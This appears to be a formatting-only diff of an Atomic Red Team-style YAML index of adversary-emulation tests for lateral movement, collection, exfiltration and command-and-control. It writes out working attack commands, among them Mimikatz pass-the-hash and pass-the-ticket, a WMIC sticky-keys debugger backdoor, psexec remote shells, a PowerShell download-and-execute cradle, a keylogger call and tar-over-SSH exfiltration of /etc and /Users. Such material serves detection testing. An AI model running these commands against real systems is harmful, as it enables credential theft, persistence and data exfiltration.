command: |
mimikatz # sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}
command: 'mimikatz # sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}
'
- name: Mimikatz Kerberos Ticket Attack
description: |
Similar to PTH, but attacking Kerberos
description: 'Similar to PTH, but attacking Kerberos
'
supported_platforms:
- windows
input_arguments:
@@ -14824,8 +15410,9 @@ lateral-movement:
default: atomic.local
executor:
name: command_prompt
command: |
mimikatz # kerberos::ptt #{user_name}@#{domain}
command: 'mimikatz # kerberos::ptt #{user_name}@#{domain}
'
T1076:
technique:
name: Remote Desktop Protocol
@@ -14900,8 +15487,11 @@ lateral-movement:
identifier: T1076
atomic_tests:
- name: RDP
description: |
RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6) - how to hijack RDS and RemoteApp sessions transparently to move through an organization
description: 'RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6)
- how to hijack RDS and RemoteApp sessions transparently to move through an
organization
'
supported_platforms:
- windows
executor:
@@ -14967,8 +15557,9 @@ lateral-movement:
identifier: T1105
atomic_tests:
- name: xxxx
description: |
xxxx
description: 'xxxx
'
supported_platforms:
- linux
- macos
@@ -15096,8 +15687,9 @@ lateral-movement:
identifier: T1077
atomic_tests:
- name: Map admin share
description: |
Connecting To Remote Shares
description: 'Connecting To Remote Shares
'
supported_platforms:
- windows
input_arguments:
@@ -15119,11 +15711,14 @@ lateral-movement:
default: Target
executor:
name: command_prompt
command: |
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
command: 'cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password}
/u:#{user_name}"
'
- name: Map Admin Share PowerShell
description: |
Map Admin share utilizing PowerShell
description: 'Map Admin share utilizing PowerShell
'
supported_platforms:
- windows
input_arguments:
@@ -15141,8 +15736,9 @@ lateral-movement:
default: g
executor:
name: powershell
command: |
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
command: 'New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
'
T1028:
technique:
name: Windows Remote Management
@@ -15201,14 +15797,16 @@ lateral-movement:
identifier: T1028
atomic_tests:
- name: Enable Windows Remote Management
description: |
Powershell Enable WinRM
description: 'Powershell Enable WinRM
'
supported_platforms:
- windows
executor:
name: powershell
command: |
Enable-PSRemoting -Force
command: 'Enable-PSRemoting -Force
'
- name: PowerShell Lateral Movement
description: |
Powershell lateral movement using the mmc20 application com object
@@ -15225,11 +15823,14 @@ lateral-movement:
default: computer1
executor:
name: command_prompt
command: |
powershell.exe [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Documnet.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7")
command: 'powershell.exe [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Documnet.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe",
$null, $null, "7")
'
- name: WMIC Process Call Create
description: |
Utilize WMIC to start remote process
description: 'Utilize WMIC to start remote process
'
supported_platforms:
- windows
input_arguments:
@@ -15247,11 +15848,16 @@ lateral-movement:
default: Target
executor:
name: command_prompt
command: |
wmic /user:#{user_name} /password:#{password} /node:#{computer_name} process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"
command: 'wmic /user:#{user_name} /password:#{password} /node:#{computer_name}
process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\"
/t REG_SZ /d \"cmd.exe\" /f"
'
- name: Psexec
description: |
Utilize psexec to start remote process
description: 'Utilize psexec to start remote process
'
supported_platforms:
- windows
input_arguments:
@@ -15269,11 +15875,13 @@ lateral-movement:
default: Target
executor:
name: command_prompt
command: |
psexec \\host -u domain\user -p password -s cmd.exe
command: 'psexec \\host -u domain\user -p password -s cmd.exe
'
- name: Invoke-Command
description: |
Execute Invoke-command on remote host
description: 'Execute Invoke-command on remote host
'
supported_platforms:
- windows
input_arguments:
@@ -15287,8 +15895,9 @@ lateral-movement:
default: ipconfig
executor:
name: powershell
command: |
invoke-command -computer_name #{host_name} -scriptblock {#{remote_command}}
command: 'invoke-command -computer_name #{host_name} -scriptblock {#{remote_command}}
'
collection:
T1123:
technique:
@@ -15334,8 +15943,9 @@ collection:
identifier: T1123
atomic_tests:
- name: SourceRecorder via Windows command prompt
description: |
Create a file called test.wma, with the duration of 30 seconds
description: 'Create a file called test.wma, with the duration of 30 seconds
'
supported_platforms:
- windows
input_arguments:
@@ -15349,17 +15959,18 @@ collection:
default: 30
executor:
name: command_prompt
command: |
SoundRecorder /FILE #{output_file} /DURATION #{duration_hms}
command: 'SoundRecorder /FILE #{output_file} /DURATION #{duration_hms}
'
- name: PowerShell Cmdlet via Windows command prompt
description: |
[AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)
description: "[AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)\n"
supported_platforms:
- windows
executor:
name: command_prompt
command: |
powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet
command: 'powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet
'
T1119:
technique:
name: Automated Collection
@@ -15413,8 +16024,9 @@ collection:
identifier: T1119
atomic_tests:
- name: Automated Collection Command Prompt
description: |
Automated Collection
description: 'Automated Collection
'
supported_platforms:
- windows
executor:
@@ -15423,14 +16035,17 @@ collection:
dir c: /b /s .docx | findstr /e .docx
for /R c: %f in (*.docx) do copy %f c:\temp\
- name: Automated Collection PowerShell
description: |
Automated Collection
description: 'Automated Collection
'
supported_platforms:
- windows
executor:
name: powershell
command: |
Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination c:\temp}
command: 'Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName
-destination c:\temp}
'
T1115:
technique:
name: Clipboard Data
@@ -15473,8 +16088,9 @@ collection:
identifier: T1115
atomic_tests:
- name: Utilize Clipboard to store or execute commands from
description: |
Add data to clipboard to copy off or execute commands from.
description: 'Add data to clipboard to copy off or execute commands from.
'
supported_platforms:
- windows
executor:
@@ -15483,8 +16099,10 @@ collection:
dir | clip
clip < readme.txt
- name: PowerShell
description: |
Utilize PowerShell to echo a command to clipboard and execute it
description: 'Utilize PowerShell to echo a command to clipboard and execute
it
'
supported_platforms:
- windows
executor:
@@ -15532,14 +16150,18 @@ collection:
identifier: T1074
atomic_tests:
- name: Stage data from Discovery.bat
description: |
Utilize powershell to download discovery.bat and save to a local file
description: 'Utilize powershell to download discovery.bat and save to a local
file
'
supported_platforms:
- windows
executor:
name: powershell
command: |
"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074/Discovery.bat')" > c:\windows\pi.log
command: '"IEX (New-Object Net.WebClient).DownloadString(''https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074/Discovery.bat'')"
> c:\windows\pi.log
'
'':
technique:
name: Video Capture
@@ -15670,8 +16292,7 @@ collection:
default: c:\key.log
executor:
name: powershell
command: |
.\Get-Keystrokes.ps1 -LogPath #{filepath}
command: ".\\Get-Keystrokes.ps1 -LogPath #{filepath}\n"
T1113:
technique:
name: Screen Capture
@@ -15720,42 +16341,49 @@ collection:
identifier: T1113
atomic_tests:
- name: Screencapture
description: |
Use screencapture command to collect a full desktop screenshot
description: 'Use screencapture command to collect a full desktop screenshot
'
supported_platforms:
- macos
input_arguments:
output_file:
description: |
xxx
description: 'xxx
'
type: Path
default: desktop.png
executor:
name: bash
command: screencapture
- name: Screencapture (silent)
description: |
Use screencapture command to collect a full desktop screenshot
description: 'Use screencapture command to collect a full desktop screenshot
'
supported_platforms:
- macos
input_arguments:
output_file:
description: |
xxx
description: 'xxx
'
type: Path
default: desktop.png
executor:
name: bash
command: screencapture -x
- name: X Windows Capture
description: |
Use xwd command to collect a full desktop screenshot and review file with xwud
description: 'Use xwd command to collect a full desktop screenshot and review
file with xwud
'
supported_platforms:
- linux
input_arguments:
output_file:
description: |
xxx
description: 'xxx
'
type: Path
default: desktop.xwd
executor:
@@ -15764,14 +16392,16 @@ collection:
xwd -root -out #{output_file}
xwud -in #{output_file}
- name: Import
description: |
Use import command to collect a full desktop screenshot
description: 'Use import command to collect a full desktop screenshot
'
supported_platforms:
- linux
input_arguments:
output_file:
description: |
xxx
description: 'xxx
'
type: Path
default: desktop.png
executor:
@@ -15863,8 +16493,9 @@ exfiltration:
identifier: T1002
atomic_tests:
- name: Compress Data for Exfiltration With PowerShell
description: |
TODO
description: 'TODO
'
supported_platforms:
- windows
input_arguments:
@@ -15878,11 +16509,13 @@ exfiltration:
default: C:\test\Data.zip
executor:
name: powershell
command: |
dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}
command: 'dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}
'
- name: Compress Data for Exfiltration With Rar
description: |
TODO
description: 'TODO
'
supported_platforms:
- windows
input_arguments:
@@ -15896,11 +16529,13 @@ exfiltration:
default: exfilthis.rar
executor:
name: command_prompt
command: |
rar a -r #{output_file} #{input_file}
command: 'rar a -r #{output_file} #{input_file}
'
- name: Data Compressed - nix
description: |
TODO
description: 'TODO
'
supported_platforms:
- linux
- macos
@@ -15978,8 +16613,9 @@ exfiltration:
identifier: T1022
atomic_tests:
- name: Data Encrypted
description: |
TODO
description: 'TODO
'
supported_platforms:
- macos
- centos
@@ -16040,8 +16676,9 @@ exfiltration:
identifier: T1030
atomic_tests:
- name: Data Transfer Size Limits
description: |
Take a file/directory, split it into 5Mb chunks
description: 'Take a file/directory, split it into 5Mb chunks
'
supported_platforms:
- macos
- centos
@@ -16129,8 +16766,9 @@ exfiltration:
default: atomic
executor:
name: sh
command: |
ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz
command: 'ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz
'
- name: Exfiltration Over Alternative Protocol - SSH
description: |
Input a domain and test Exfiltration over SSH
@@ -16143,11 +16781,15 @@ exfiltration:
- linux
executor:
name: sh
command: |
tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'
command: 'tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh
#{user_name}@#{domain} ''cat > /Users.tar.gz.enc''
'
- name: Exfiltration Over Alternative Protocol - HTTP
description: |
A firewall rule (iptables or firewalld) will be needed to allow exfiltration on port 1337.
description: 'A firewall rule (iptables or firewalld) will be needed to allow
exfiltration on port 1337.
'
supported_platforms:
- macos
- centos
@@ -16295,8 +16937,9 @@ command-and-control:
identifier: T1132
atomic_tests:
- name: Base64 Encoded data.
description: |
Utilizing a common technique for posting base64 encoded data.
description: 'Utilizing a common technique for posting base64 encoded data.
'
supported_platforms:
- macos
- linux
@@ -16370,8 +17013,9 @@ command-and-control:
identifier: T1105
atomic_tests:
- name: xxxx
description: |
xxxx
description: 'xxxx
'
supported_platforms:
- linux
- macos
@@ -16454,8 +17098,9 @@ command-and-control:
identifier: T1065
atomic_tests:
- name: Testing usage of uncommonly used port with PowerShell
description: |
Testing uncommonly used port utilizing PowerShell
description: 'Testing uncommonly used port utilizing PowerShell
'
supported_platforms:
- windows
input_arguments:
@@ -16469,11 +17114,13 @@ command-and-control:
default: google.com
executor:
name: powershell
command: |
test-netconnection -ComputerName #{domain} -port #{port}
command: 'test-netconnection -ComputerName #{domain} -port #{port}
'
- name: Testing usage of uncommonly used port
description: |
Testing uncommonly used port utilizing telnet.
description: 'Testing uncommonly used port utilizing telnet.
'
supported_platforms:
- linux
- macos
@@ -16488,8 +17135,9 @@ command-and-control:
default: google.com
executor:
name: sh
command: |
telnet #{domain} #{port}
command: 'telnet #{domain} #{port}
'
initial-access:
'':
technique: